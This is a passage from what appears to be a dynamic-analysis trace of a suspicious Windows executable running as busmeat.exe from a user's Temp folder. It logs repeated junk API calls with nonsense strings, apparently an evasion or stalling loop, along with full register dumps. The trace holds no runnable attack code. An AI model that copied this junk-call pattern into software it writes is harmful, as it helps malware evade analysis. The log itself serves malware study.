[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.183] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.184] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.184] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.184] GetConsoleCP () returned 0x0
	[0066.184] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.184] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.185] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.185] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.185] GetConsoleCP () returned 0x0
	[0066.185] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.185] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.186] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.186] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.186] GetConsoleCP () returned 0x0
	[0066.186] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 